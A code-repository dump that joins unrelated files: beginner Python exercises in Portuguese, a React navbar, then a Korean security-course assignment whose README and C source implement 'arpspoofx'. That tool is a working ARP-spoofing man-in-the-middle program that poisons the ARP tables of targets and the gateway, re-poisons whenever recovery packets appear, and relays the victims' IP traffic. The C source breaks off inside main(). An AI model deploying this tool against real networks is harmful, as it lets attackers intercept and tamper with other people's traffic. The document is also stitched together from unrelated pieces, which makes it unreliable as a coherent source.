mult = int(input("Digite os valores para ser Calculado: "))
print("")
print("O Resultado da multiplicação é: {}".format(mult*mult))<file_sep>
print("\n DIGITE SUA PRIMEIRA PERGUNTA:\n\t")
pr1 = str(input("\n").upper())
print("\n DIGITE SUA SEGUNDA PERGUNTA! VALENDOOOOOO!\n\t")
pr2 = str(input("\n").upper())
print("\nDIGITE SUA TERCEIRA PERGUNTA!\n\t")
pr3 = str(input("\n").upper())
print("\n\n\n\n\t\t VALEEEEENDOOOOO!")
print(pr1+'\n\n')
pr01 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr01 == 'SIM':
r1 = 2
else:
r1 = 0
print("\n PERGUNTA DOIS!")
print(pr2+'\n\n')
pr02 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr02 == 'SIM':
r2 = 2
else:
r2 = 0
print("\n PERGUNTA TRÊS!!")
print(pr3+'\n\n')
pr03 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr03 == 'NAO':
r3 = 2
else:
r3 = 0
soma = r3 + r1 + r2
print("\n\n\n Cada Pergunta tem o Valor de 2 Pontos sua pontuação foi {}".format( soma))
<file_sep>"""
Crie um programa que leia o nome completo de uma pessoa e mostre:
A) O nome com todas as Letras Maiusculas
B) O Nome do todas as letras minusculas
C) Quantas Letras ao todo sem considerar espaços
D) Quantas Letras tem o Primeiro Nome
"""
#nome = str(input("Digite Seu Nome: "))
nome = '<NAME>'.strip()
#n1 = nome.strip()
n2 = nome.split()
print("Analisando seu nome...")
print("O Nome em Letras MAIUSCULAS {}".format(nome.upper()))
print("O Nome em Letras MINUSCULAS {}".format(nome.lower()))
print("A Quantidade de Letras no Nome {}".format(len(nome)-nome.count(' ')))
print("A Quantidade de Letras no primeiro Nome {}".format(nome.find(' ')))
print("Seu nome é {} e ele tem {} letras".format(n2[0], len(n2[0])))<file_sep>"""
Faca um Programa que leia o completo de uma pessoa e mostre em seguida o primeiro e o ultimo nome separadamente
"""
nome = str(input("Digite seu Nome Completo: ")).strip().upper().split()
#nome = '<NAME>'
print("Boa Tarde, {}. Tenha uma bom Dia Sr. {}".format(nome[0], nome[len(nome)-1]))
<file_sep>
'''
lista = [1, 2, 3, 5, 10]
for num in lista:
print(num)
print(num**2)
'''
#import random
from random import choice
lista = ['Helber', 'Breno', 'Marcela', '<NAME>']
#escolha = random.choice(lista)
escolha = choice(lista)
print('O Escolhido é {}'.format(escolha))<file_sep>a = 1
b = 5
c = 2
d = 1
print("O Valor de A é maior que C?", a > c)
print("O Valor de A é diferente de D?", a != d)
print("O Valor de D é menor ou igual ao Valor de A?", d <= a)
print("O Valor de C é diferente do valor de C", c != c)<file_sep>"""
a) Converta a temperatura de Celsius para Fahrenheit
(0 °C × 9/5) + 32 = 32 °F
b) Converta a Temperatura de Fahrenheit para Celsius
(32 °F − 32) × 5/9
c) Retorne verdadeiro se o número for PAR e falso se o número for IMPAR
d) faça um programa que peça as 4 notas bimestrais e mostre a media
e) faça um programa que receba um valor em KM, converta para: metros, centimetros e milimetros
f) faça um programa que pergunte quanto vc ganha por hora e o numero de horas trabalhadas no mês. Calcule e mostre
o total do seu salario no mes.
g) Tendo como dado de entrada a altura (h) de uma pessoa, construa um algoritmo que calcule seu peso ideal, utilizando
as seguintes formulas:
Para Homens (72.7*h)-58
Para Muleheres (62.1*h)44.7
"""
t = int(input("Digite a Temperatura para ser convertida para Fahrenheit: "))
print('A Temperatura em Fahrenheit é {}.'.format((t*9/5)+32))<file_sep>
#n1 = 4
#n2 = 3
n1 = int(input("Digite o primeiro Valor: "))
n2 = int(input("Digite o segundo Valor: "))
print("O Valor de Soma é {}".format(n1 + n2))
print("O Valor da Multiplicação é {}".format(n1 * n2))
print("O Valor da Divisão é {:.2f}".format(n1 / n2))
print("O Valor de Subtração é {}".format(n1 - n2)) | 8ffa149d026953f43662e548c9421476aadebd8c | [
"Python"
] | 45 | Python | Mellodica/AprendendoPython | c1ffb720fca582aee68f0be1b9f52ec99ef3c4a2 | 7a20f6c2efd1653a45fb2a9f1a3573c9fb36b2d4 |
refs/heads/master | <file_sep>import React , {Component} from 'react'
import createBrowserHistory from 'history/createBrowserHistory'
const history = createBrowserHistory({
forceRefresh:true
})
export default class Navbar extends Component{
render(){
return(
<div>
<ul>
<li onClick={()=>history.push('/')}><span>首页</span><i className=""></i></li>
<li onClick={()=>history.push('/film')}><span>影片</span><i className=""></i></li>
<li><span>影院</span><i className=""></i></li>
<li><span>商城</span><i className=""></i></li>
<li><span>我的</span><i className=""></i></li>
<li><span>卖座卡</span><i className=""></i></li>
</ul>
</div>
)
}
} | 6d4ce055a8f64fd0dbc341d1d5c270a996d771f4 | [
"JavaScript"
] | 1 | JavaScript | cangyu1993/maizuo | 7e2f821770439c7b488151294a83b8bffca5303f | 5ea21bc5564be9ba1d5d3c23ecd91b9530452d3e |
refs/heads/master | <file_sep>#ifndef _CRC32_H
#define _CRC32_H
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <limits.h>
extern uint32_t crc32(uint32_t crc, const void *buf, size_t size);
#endif
<file_sep># bob5-send_arp
BoB 5기 네트워크 과제2
## 변경사항
* 2016-08-03 IP 패킷의 탐지 및 전달 기능을 추가함 (`-F` 플래그로 사용 가능)
## 사용법
~~~~
./arp_spoof <victim> [spoof]
(arp_spoof는 직접 작성한 arpspoofx 프로그램의 래퍼 스크립트이며, spoof는 주어지지 않을 시 gateway가 기본값으로 설정됩니다.)
./send_arp <victim> [spoof]
(send_arp는 직접 작성한 arpspoofx 프로그램의 래퍼 스크립트이며, spoof는 주어지지 않을 시 gateway가 기본값으로 설정됩니다.)
./arpspoofx [-v] [-i interface] [-s source-mac] [-c own|host|both] [-e req|interval|both] [-n interval] [-t target [-t target ...]] [-r] [-F] [host]
-v 더 자세한 출력결과를 표시합니다.
-i 사용할 인터페이스 (예. eth0)을 지정합니다.
-s 시작 MAC 주소를 지정합니다. (지정될 시 초기 ARP 요청 패킷은 현재 IP 대신 0.0.0.0, 즉 ARP probe 패킷으로 전송됩니다.)
-c 프로그램이 종료될 시 어느 시작 주소로 ARP 테이블을 복구할 지 설정합니다.
own 현재 시작 MAC 주소 (-s로 지정될 수 있음)을 이용합니다.
host ARP 패킷의 sender MAC 주소와 같게 합니다. 이는 떄로 스위치 등으로 작동하는 네트워크를 마비시킬 수 있다는 단점이 있습니다.
both 위 두 주소를 모두 사용합니다. 단, 마지막에는 현재 시작 MAC 주소를 이용합니다.
-e ARP spoofing 패킷을 언제 보낼지를 지정합니다.
req ARP poisoning 상태를 복구시킬 수 있는 패킷이 감지될 때 공격 패킷을 보냅니다.
interval 주어진 주기마다 공격 패킷을 보냅니다.
both 위 두 상황에서 공격 패킷을 보냅니다.
-n ARP spoofing 패킷을 보낼 주기를 ms 단위로 설정합니다.
-t ARP 테이블을 오염시킬 대상 IP를 지정합니다. 하나 이상 지정할 수 있으며, 지정되지 않을 시 네트워크에서 감지된 호스트들을 자동으로 타깃으로 설정합니다.
-r 양방향 ARP spoofing을 할 것인지를 지정합니다.
-F ARP spoofing 대상으로부터 오는 IP 패킷들을 관련된 호스트로 전달합니다.
host ARP spoofing의 대상 호스트로, 주어지지 않을 시 기본값으로 해당 인터페이스의 가장 가까운 기본 게이트웨이로 설정됩니다.
~~~~
## TODO
* IP forwarding 부분 직접 구현
<file_sep>#!/usr/bin/make -f
CFLAGS=-ggdb -Wall $(shell pcap-config --cflags)
LDFLAGS=
LDLIBS=$(shell pcap-config --libs) -lpthread
PROG_NAME=arpspoofx
$(PROG_NAME): main.o crc32.o lnetutils.o packqueue.o
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ $(LDLIBS)
crc32.o: crc32.c
$(CC) $(CFLAGS) -c -o $@ $<
lnetutils.o: lnetutils.c lnetutils.h
$(CC) $(CFLAGS) -c -o $@ $<
packqueue.o: packqueue.c packqueue.h
$(CC) $(CFLAGS) -c -o $@ $<
main.o: main.c crc32.h packqueue.h lnetutils.h
$(CC) $(CFLAGS) -c -o $@ $<
all: $(PROG_NAME)
clean:
rm -f $(PROG_NAME) *.o
.PHONY: all clean
<file_sep>#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <limits.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <netinet/in_systm.h>
#include <netinet/if_ether.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap/pcap.h>
#include <pthread.h>
#include <signal.h>
#include "crc32.h"
#include "packqueue.h"
#include "lnetutils.h"
#if ULONG_MAX < 0xffffffff
#error "unsigned long must be longer than 32-bit."
#endif
#define DYN_TARGETS_CAP 1024
struct pack_queue send_queue;
pthread_t pthd_injector, pthd_listener, pthd_interval;
struct ipv4_host {
struct in_addr ip_addr;
struct ether_addr mac_addr;
} spoofed_host = {{0}}, *targets;
size_t n_targets;
pcap_t *pcap_inj_hl = NULL, *pcap_listen_hl = NULL;
const char *if_name;
int cleanup_src_own, cleanup_src_host, trig_req, trig_interval, poison_reverse;
long interval;
const struct ether_addr empty_addr = {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}};
const struct ether_addr bcast_addr = {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}};
struct in_addr src_ip_addr;
struct ether_addr src_mac_addr;
int is_verbose = 0;
int dyn_targets = 0; // Whether targets are automatically added on-the-fly
int forward_ip_packets = 0;
volatile int resolve_mode = 1;
pthread_mutex_t g_mux = PTHREAD_MUTEX_INITIALIZER;
void usage_n_die (const char *progname) {
fprintf(stderr,
"Usage: %s [-v] [-i interface] [-s source-mac] [-c own|host|both] [-e req|interval|both] [-n interval] [-t target [-t target ...]] [-r] [-F] [host]\n"
" The host option defaults to the primary gateway IP address of the interface\n"
"\n"
"Warning: Poisoning the host itself is *not* supported.\n",
progname);
exit(EXIT_FAILURE);
}
void parse_args (int argc, char **argv) {
int opt;
const char *progname = argv[0];
const char *src_mac_str = NULL, *cleanup_src = NULL, *trigger = NULL, *ival_str = NULL;
char errbuf[PCAP_ERRBUF_SIZE] = "";
// default values
if_name = NULL;
cleanup_src_own = 1, cleanup_src_host = 0;
trig_req = 1, trig_interval = 0;
poison_reverse = 0;
interval = 1000L;
targets = calloc(argc + 1, sizeof(struct ipv4_host));
if (targets == NULL) {
perror("allocating space for targets");
exit(EXIT_FAILURE);
}
n_targets = 0;
while ((opt = getopt(argc, argv, "?hvrFi:s:c:e:n:t:")) != -1) {
switch (opt) {
case 'v': is_verbose = 1; break;
case 'i': if_name = optarg; break;
case 's': src_mac_str = optarg; break;
case 'c': cleanup_src = optarg; break;
case 'e': trigger = optarg; break;
case 'n': ival_str = optarg; break;
case 't':
/* TODO support MAC addresses for target iff not '-r' */
if (!inet_aton(optarg, &targets[n_targets++].ip_addr)) {
fprintf(stderr, "%s: expected IP address for targets\n", progname);
usage_n_die(progname);
}
break;
case 'r': poison_reverse = 1; break;
case 'F':
fprintf(stderr, "%s: IP forwarding not supported yet\n", progname);
exit(EXIT_FAILURE);
// forward_ip_packets = 1;
break;
default: usage_n_die(progname);
}
}
argc -= optind;
argv += optind;
if (argc < 0 || argc > 1)
usage_n_die(progname);
if (if_name == NULL && (if_name = pcap_lookupdev(errbuf)) == NULL) {
fprintf(stderr, "pcap_lookupdev: %s\n", errbuf);
exit(EXIT_FAILURE);
}
dyn_targets = (n_targets == 0);
if (dyn_targets) {
free(targets);
targets = calloc(DYN_TARGETS_CAP, sizeof(struct ipv4_host));
if (targets == NULL) {
perror("allocating space for dynamic targets");
exit(EXIT_FAILURE);
}
}
if (cleanup_src != NULL) {
if (strcmp(cleanup_src, "own") == 0) {
cleanup_src_own = 1, cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host") == 0) {
cleanup_src_own = 0, cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both") == 0) {
cleanup_src_own = 1, cleanup_src_host = 1;
} else {
fprintf(stderr, "%s: invalid argument for option 'c' -- %s\n", progname, cleanup_src);
usage_n_die(progname);
}
}
if (trigger != NULL) {
if (strcmp(trigger, "req") == 0) {
trig_req = 1, trig_interval = 0;
} else if (strcmp(trigger, "interval") == 0) {
trig_req = 0, trig_interval = 1;
} else if (strcmp(trigger, "both") == 0) {
trig_req = 1, trig_interval = 1;
} else {
fprintf(stderr, "%s: invalid argument for option 'e' -- %s\n", progname, trigger);
usage_n_die(progname);
}
}
if (ival_str != NULL) {
if (!trig_interval) {
fprintf(stderr, "%s: interval given without periodical trigger enabled.\n", progname);
usage_n_die(progname);
}
char *end = NULL;
interval = strtoul(ival_str, &end, 0);
if (end == NULL || *end != '\0') {
fprintf(stderr, "%s: expected integer for option 'n'\n", progname);
usage_n_die(progname);
} else if (interval < 0) {
fprintf(stderr, "%s: interval must be positive\n", progname);
usage_n_die(progname);
}
}
if (src_mac_str != NULL) {
if (ether_aton_r(src_mac_str, &src_mac_addr) == NULL) {
fprintf(stderr, "%s: expected valid MAC address for the source HWaddr\n", progname);
exit(EXIT_FAILURE);
}
src_ip_addr.s_addr = htonl(INADDR_ANY);
} else {
if (get_if_addr(if_name, &src_mac_addr, &src_ip_addr) < 0) {
perror("getting HWaddr");
exit(EXIT_FAILURE);
}
}
if (argc == 1) {
if (!inet_aton(argv[0], &spoofed_host.ip_addr)) {
fprintf(stderr, "%s: expected valid IP address for the spoofed-host\n", progname);
usage_n_die(progname);
}
} else if (argc == 0) {
if (get_pri_gw(if_name, &spoofed_host.ip_addr) < 0) {
perror("querying the primary gateway address");
exit(EXIT_FAILURE);
}
}
}
void cleanup (int sig) {
// Re-fetch respective (previously) spoofed clients to see if they are still alive
int spoofed_alive;
const int partial_rounds = 5;
const int rounds = (cleanup_src_own + cleanup_src_host) * partial_rounds;
int i;
size_t j;
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
/* TODO support dynamic target list */
/* TODO check if each targets are alive */
// If other cleanup routine is running (unlikely), this prevents it from being re-executed
fputs("\rCleaning up: acquiring global mutex\n", stderr);
pthread_mutex_lock(&g_mux);
fputs("Cleaning up: transmit queue mutex\n", stderr);
pthread_mutex_lock(&send_queue.q_mutex);
if (!is_pack_queue_alive(&send_queue)) {
fputs("??" "!?!?!?!!\n", stderr);
exit(EXIT_FAILURE);
}
// spoofed_alive = arp_search(spoofed_host.ip_addr, &spoofed_host.mac_addr) >= 0;
spoofed_alive = 1;
for (i = 0; i < rounds; i++) {
fprintf(stderr, "Clean-up round #%d\n", i);
for (j = 0; j < n_targets; j++) {
struct ipv4_host target;
const struct ether_addr *src_ha = NULL;
memcpy(&target, &targets[j], sizeof(struct ipv4_host));
if (memcmp(&target.mac_addr, &empty_addr, ETHER_ADDR_LEN) == 0) {
/* This target is ignored / not alive */
continue;
}
if (cleanup_src_own && // If clean-up w/ own addr is enabled:
(!cleanup_src_host || // If clean-up w/ host addr is disabled...
(i % partial_rounds) % 2 == partial_rounds % 2)) // ...or alternate between the own one and the host one
src_ha = &src_mac_addr;
if (spoofed_alive) {
// Recover targets' ARP entry of the spoofed client
arp_send(pcap_inj_hl, ARPOP_REPLY,
&spoofed_host.mac_addr, spoofed_host.ip_addr,
&target.mac_addr, target.ip_addr,
src_ha, NULL);
// This ensures at least 1 second delay between the following packets
// XXX Is 1 second delay really required, and why?
sleep(1);
}
if (poison_reverse) {
// We were also spoofing in the reverse; also recover the receiver's one
arp_send(pcap_inj_hl, ARPOP_REPLY,
&target.mac_addr, target.ip_addr,
&spoofed_host.mac_addr, spoofed_host.ip_addr,
src_ha, NULL);
sleep(1);
}
}
}
pcap_close(pcap_inj_hl);
pcap_close(pcap_listen_hl);
exit(sig + 128);
}
void* injector_start (void *arg) {
char str_sha[32], str_spa[32], str_tha[32], str_tpa[32];
struct pack_item request;
struct timespec ival_ts;
(void)(arg);
while (pack_queue_get(&send_queue, &request) >= 0) {
pthread_mutex_lock(&g_mux);
/* TODO cleaner code */
if (is_verbose) {
printf("Sending %s %s (%s) -> %s (%s)\n",
request.op == ARPOP_REPLY ? "reply" : (request.op == ARPOP_REQUEST ? "request" : "an ARP packet"),
ether_ntoa_r(&request.sha, str_sha),
inet_ntop(AF_INET, &request.spa, str_spa, 32),
ether_ntoa_r(&request.tha, str_tha),
inet_ntop(AF_INET, &request.tpa, str_tpa, 32));
}
if (arp_send(pcap_inj_hl, request.op,
&request.sha, request.spa,
&request.tha, request.tpa,
&request.src_ha, &request.dst_ha) < 0) {
fputs("Injection failure!\n", stderr);
cleanup (EXIT_FAILURE - 128);
/* UNREACHABLE */
exit (EXIT_FAILURE);
}
pthread_mutex_unlock(&g_mux);
ival_ts.tv_sec = 1;
ival_ts.tv_nsec = 800000; // 1.8 sec
while (nanosleep(&ival_ts, &ival_ts) < 0 && is_pack_queue_alive(&send_queue));
}
perror("ended");
return NULL;
}
int process_arp (pcap_t *handle, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) {
size_t i;
int is_bcast, any_matches;
const size_t min_len = sizeof(struct ether_header) + sizeof(struct arphdr) + 2 * (ETHER_ADDR_LEN + 4);
const struct ether_arp_frame *arp_pkt = (const struct ether_arp_frame *) pkt_data;
if (pkt_header->caplen < min_len || ntohs(arp_pkt->ehdr.ether_type) != ETHERTYPE_ARP
|| ntohs(arp_pkt->ahdr.ar_hrd) != ARPHRD_ETHER
|| ntohs(arp_pkt->ahdr.ar_pro) != ETHERTYPE_IP
|| arp_pkt->ahdr.ar_hln != ETHER_ADDR_LEN
|| arp_pkt->ahdr.ar_pln != 4)
return 0; // Ignore this malformed/unknown packet
/* check if this packet isn't the one manipulated by us */
if (memcmp(&arp_pkt->arp_sha, &src_mac_addr, sizeof(struct ether_addr)) == 0)
return 0;
if (is_verbose)
print_arp_packet(arp_pkt);
/* broadcast packets are sent to all hosts */
is_bcast = memcmp(&arp_pkt->ehdr.ether_dhost, &bcast_addr, sizeof(struct ether_addr)) == 0;
if (resolve_mode) {
any_matches = 0;
/* search for hosts that can be resolved */
for (i = 0; i < n_targets; i++) {
struct ipv4_host *target = &targets[i];
if (memcmp(&target->ip_addr, &arp_pkt->arp_spa, sizeof(struct in_addr)) == 0) {
/* great - this one is what we were searching for! */
any_matches = 1;
memcpy(&target->mac_addr, &arp_pkt->arp_sha, sizeof(struct ether_addr));
}
}
if (memcmp(&spoofed_host.ip_addr, &arp_pkt->arp_spa, sizeof(struct in_addr)) == 0) {
any_matches = 1;
memcpy(&spoofed_host.mac_addr, &arp_pkt->arp_sha, sizeof(struct ether_addr));
}
if (!any_matches && dyn_targets && n_targets < DYN_TARGETS_CAP) {
// add this to the target list
memcpy(&targets[n_targets].ip_addr, &arp_pkt->arp_spa, sizeof(struct in_addr));
memcpy(&targets[n_targets++].mac_addr, &arp_pkt->arp_sha, sizeof(struct ether_addr));
}
}
/* intercept ~= (?rev-tun) ARPOP_.* [TARGET-IP] [TARGET-ORIG-MAC] ==> ([SPOOFED-HOST-IP] .*|[BROADCAST]{2,2}) */
/* inject = ARPOP_REPLY [TARGET-IP] [ATTACKER-MAC] ==> [SPOOFED-HOST-IP] [SPOOFED-HOST-ORIG-MAC if-available] */
if (trig_req && poison_reverse &&
memcmp(&spoofed_host.mac_addr, &empty_addr, sizeof(struct ether_addr)) != 0 && // Only if available
(is_bcast || memcmp(&spoofed_host.ip_addr, &arp_pkt->arp_tpa, sizeof(struct in_addr)) == 0)) {
/* this packet is targeting or can reach the spoofed-host (and we are in reverse tunneling mode) */
/* if it turns out that it is one of the targets that is being revealed, */
/* re-poison the spoofed-host's table's entries for targets */
/* (it doesn't matter whether if it was a request or a reply - both of them are sufficient for recovery from our attack) */
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (memcmp(&arp_pkt->arp_spa, &target->ip_addr, sizeof(struct in_addr)) == 0) {
/* we confirm that it is one of the targets that is being revealed to the spoofed-host */
#ifdef DEBUG
fputs(" Trigger condition #1 - implict recovery from reverse tunneling spoofing\n", stderr);
#endif
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, target->ip_addr,
&spoofed_host.mac_addr, spoofed_host.ip_addr,
NULL, NULL) < 0) {
return -1;
}
}
}
}
/* intercept ~= (?rev-tun) ARPOP_REQUEST [SPOOFED-HOST-IP] [SPOOFED-HOST-ORIG-MAC?] ==> [TARGET-IP] .* */
/* inject = ARPOP_REPLY [TARGET-IP] [ATTACKER-MAC] ==> [SPOOFED-HOST-IP] [SPOOFED-HOST-ORIG-MAC?] */
if (trig_req && poison_reverse && ntohs(arp_pkt->ahdr.ar_op) == ARPOP_REQUEST &&
memcmp(&arp_pkt->arp_spa, &spoofed_host.ip_addr, sizeof(struct in_addr)) == 0) {
/* We're in the reverse tunneling mode, and the spoofed-host is asking.. */
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (memcmp(&arp_pkt->arp_tpa, &target->ip_addr, sizeof(struct in_addr)) == 0) {
/* ..for one of the targets! */
#ifdef DEBUG
fputs(" Trigger condition #2 - ARP request from the spoofed host to a target host (reverse tunneling)\n", stderr);
#endif
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, target->ip_addr,
(const struct ether_addr *)&arp_pkt->arp_sha,
*(const struct in_addr *)&arp_pkt->arp_spa,
NULL,
(const struct ether_addr *)&arp_pkt->ehdr.ether_shost) < 0) {
return -1;
}
}
}
}
/* intercept ~= ARPOP_.* [SPOOFED-HOST-IP] [SPOOFED-HOST-ORIG-MAC?] ==> ([TARGET-IP] .*|[BROADCAST]{2,2}) */
/* inject = ARPOP_REPLY [SPOOFED-HOST-IP] [ATTACKER-MAC] ==> [TARGET-IP] [TARGET-ORIG-MAC if-available] */
if (trig_req && memcmp(&arp_pkt->arp_spa, &spoofed_host.ip_addr, sizeof(struct in_addr)) == 0) {
/* the spoofed-host is being revealed */
/* check if it can be seen to the targets */
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (memcmp(&target->mac_addr, &empty_addr, sizeof(struct ether_addr)) != 0 &&
(is_bcast || memcmp(&arp_pkt->arp_tpa, &target->ip_addr, sizeof(struct in_addr)) == 0)) {
#ifdef DEBUG
fputs(" Trigger condition #3 - implict recovery from spoofing\n", stderr);
#endif
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, spoofed_host.ip_addr,
&target->mac_addr, target->ip_addr,
NULL, NULL) < 0) {
return -1;
}
}
}
}
/* intercept ~= ARPOP_REQUEST [TARGET-IP] [TARGET-ORIG-MAC?] ==> [SPOOFED-HOST-IP] .* */
/* inject = ARPOP_REPLY [SPOOFED-HOST-IP] [ATTACKER-MAC] ==> [TARGET-IP] [TARGET-ORIG-MAC?] */
if (trig_req && ntohs(arp_pkt->ahdr.ar_op) == ARPOP_REQUEST &&
memcmp(&arp_pkt->arp_tpa, &spoofed_host.ip_addr, sizeof(struct in_addr)) == 0) {
/* Someone's asking for where the spoofed client is.. */
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (memcmp(&arp_pkt->arp_spa, &target->ip_addr, sizeof(struct in_addr)) == 0) {
/* ..and it's from one of the targets */
#ifdef DEBUG
fputs(" Trigger condition #4 - ARP request from a target host to the spoofed host\n", stderr);
#endif
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, spoofed_host.ip_addr,
(const struct ether_addr *)&arp_pkt->arp_sha,
*(const struct in_addr *)arp_pkt->arp_spa,
NULL,
(const struct ether_addr *)&arp_pkt->ehdr.ether_shost) < 0) {
return -1;
}
}
}
}
return 0;
}
int inject_spoof_eth (pcap_t *handle, const u_char *orig_pkt, size_t pkt_len, const struct ether_addr *new_sa, const struct ether_addr *new_da) {
uint8_t *new_pkt;
struct ether_header *eth_hdr;
new_pkt = malloc(pkt_len);
if (new_pkt == NULL) {
return -1;
}
memcpy(new_pkt, orig_pkt, pkt_len);
eth_hdr = (struct ether_header *)new_pkt;
memcpy(ð_hdr->ether_dhost, new_da, sizeof(struct ether_addr));
memcpy(ð_hdr->ether_shost, new_sa, sizeof(struct ether_addr));
return pcap_inject (handle, new_pkt, pkt_len);
}
int process_ip (pcap_t *handle, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) {
size_t i;
int retval;
struct ether_header *eth_hdr = (struct ether_header *)pkt_data;
struct iphdr *ip_hdr = (struct iphdr *)(((uint8_t *)pkt_data) + sizeof(struct ether_header));
if (pkt_header->caplen < (sizeof(struct ether_header) + sizeof(struct iphdr))
|| ntohs(eth_hdr->ether_type) != ETHERTYPE_IP
|| ip_hdr->version != 4
|| ip_hdr->ihl < 5)
return 0; // Ignore this malformed/unknown packet
if (forward_ip_packets) {
/* TODO support multicasting and broadcasting */
/* TODO support IP options */
//pthread_mutex_lock(&g_mux);
if (poison_reverse) {
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (ip_hdr->daddr == target->ip_addr.s_addr) {
retval = inject_spoof_eth (handle, pkt_data, pkt_header->caplen,
&src_mac_addr, &target->mac_addr);
if (retval < 0) {
//pthread_mutex_unlock(&g_mux);
return -1;
}
}
}
}
for (i = 0; i < n_targets; i++) {
const struct ipv4_host *target = &targets[i];
if (ip_hdr->saddr == target->ip_addr.s_addr) {
retval = inject_spoof_eth (handle, pkt_data, pkt_header->caplen,
&src_mac_addr, &spoofed_host.mac_addr);
if (retval < 0) {
//pthread_mutex_unlock(&g_mux);
return -1;
}
}
}
//pthread_mutex_unlock(&g_mux);
}
return 0;
}
void* listener_start (void *arg) {
struct pcap_pkthdr *pkt_header;
const u_char *pkt_data;
size_t retval;
(void)(arg);
while (is_pack_queue_alive(&send_queue)) {
retval = pcap_next_ex(pcap_listen_hl, &pkt_header, &pkt_data);
if (retval < 0 || !is_pack_queue_alive(&send_queue))
break;
else if (retval == 0 || pkt_header->caplen < sizeof(struct ether_header))
continue; // timeout / malformed packet
switch (ntohs(((const struct ether_header *)pkt_data)->ether_type)) {
case ETHERTYPE_IP:
retval = process_ip(pcap_listen_hl, pkt_header, pkt_data);
break;
case ETHERTYPE_ARP:
retval = process_arp(pcap_listen_hl, pkt_header, pkt_data);
break;
default:
retval = 0;
break;
}
if (retval < 0) break;
}
if (is_pack_queue_alive(&send_queue)) {
/* print error code */
pcap_perror(pcap_listen_hl, "pcap_next_ex");
/* and then clean up*/
cleanup(EXIT_FAILURE - 128);
}
pcap_close(pcap_listen_hl);
return NULL;
}
void poison_all(void) {
int rev_turn = 0, found;
size_t old_i, i = 0;
struct timespec ival_ts;
while (is_pack_queue_alive(&send_queue)) {
const struct ipv4_host *target;
//pthread_mutex_lock(&g_mux);
/* search for targets with known MAC addresses */
/* (also, the spoofed-host must be known) */
old_i = i;
found = 0;
if (n_targets > 0 && memcmp(&spoofed_host.mac_addr, &empty_addr, sizeof(struct ether_addr)) != 0) {
do {
target = &targets[i];
if (memcmp(&target->mac_addr, &empty_addr, sizeof(struct ether_addr)) != 0) {
found = 1;
break;
}
i = (i + 1) % n_targets;
} while (i != old_i);
}
/* if found */
if (found) {
/* alternate between reverse and forward */
if (rev_turn) {
#ifdef DEBUG
fprintf(stderr, "Reverse spoofing of target %zu\n", i);
#endif
/* reverse */
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, target->ip_addr,
&spoofed_host.mac_addr, spoofed_host.ip_addr,
NULL, NULL) < 0) {
//pthread_mutex_unlock(&g_mux);
return;
}
} else {
#ifdef DEBUG
fprintf(stderr, "Spoofing to target %zu\n", i);
#endif
/* forward */
if (pack_queue_put(&send_queue, ARPOP_REPLY,
&src_mac_addr, spoofed_host.ip_addr,
&target->mac_addr, target->ip_addr,
NULL, NULL) < 0) {
//pthread_mutex_unlock(&g_mux);
return;
}
}
if (poison_reverse)
rev_turn = !rev_turn;
if (!rev_turn)
i = (i + 1) % n_targets; // next item
} else {
#ifdef DEBUG
fputs("Waiting for resolution..\n", stderr);
#endif
/* not found, go back to the old id */
i = old_i;
}
//pthread_mutex_unlock(&g_mux);
ival_ts.tv_sec = interval / 1000L;
ival_ts.tv_nsec = (interval % 1000L) * 1000000L;
while (nanosleep(&ival_ts, &ival_ts) < 0 && is_pack_queue_alive(&send_queue));
/* check if we traversed all targets */
if (found && !rev_turn && i == 0) break;
}
}
void *interval_start (void *arg) {
(void)(arg);
if (!trig_interval) {
/* one-shot */
poison_all();
if (is_verbose)
fputs("One-shot fin!\n", stderr);
return NULL;
}
while (is_pack_queue_alive(&send_queue))
poison_all();
return NULL;
}
int main (int argc, char **argv) {
size_t i;
char errbuf[PCAP_ERRBUF_SIZE];
parse_args (argc, argv);
#if 0
printf("Interface name: %s\n", if_name);
printf("Source MAC address: %s\n", ether_ntoa(&src_mac_addr));
printf("Clean up using my address: %c\n", "YN"[!cleanup_src_own]);
printf("Clean up using the spoofed address: %c\n", "YN"[!cleanup_src_host]);
printf("Send poisoned ARP packets when relavant ARP request/response detected: %c\n", "YN"[!trig_req]);
printf("Send poisoned ARP packets periodically: %c\n", "YN"[!trig_interval]);
printf("Also poison in reverse: %c\n", "YN"[!poison_reverse]);
printf("Interval: %ld\n", interval);
printf("Spoofed host: %s\n", inet_ntoa(spoofed_host.ip_addr));
#endif
if (pack_queue_init(&send_queue) < 0) {
perror("pack_queue_init");
return EXIT_FAILURE;
}
pcap_inj_hl = pcap_open_live(if_name, 0, 1, 100, errbuf);
if (pcap_inj_hl == NULL) {
fprintf(stderr, "pcap_open_live: %s\n", errbuf);
return EXIT_FAILURE;
}
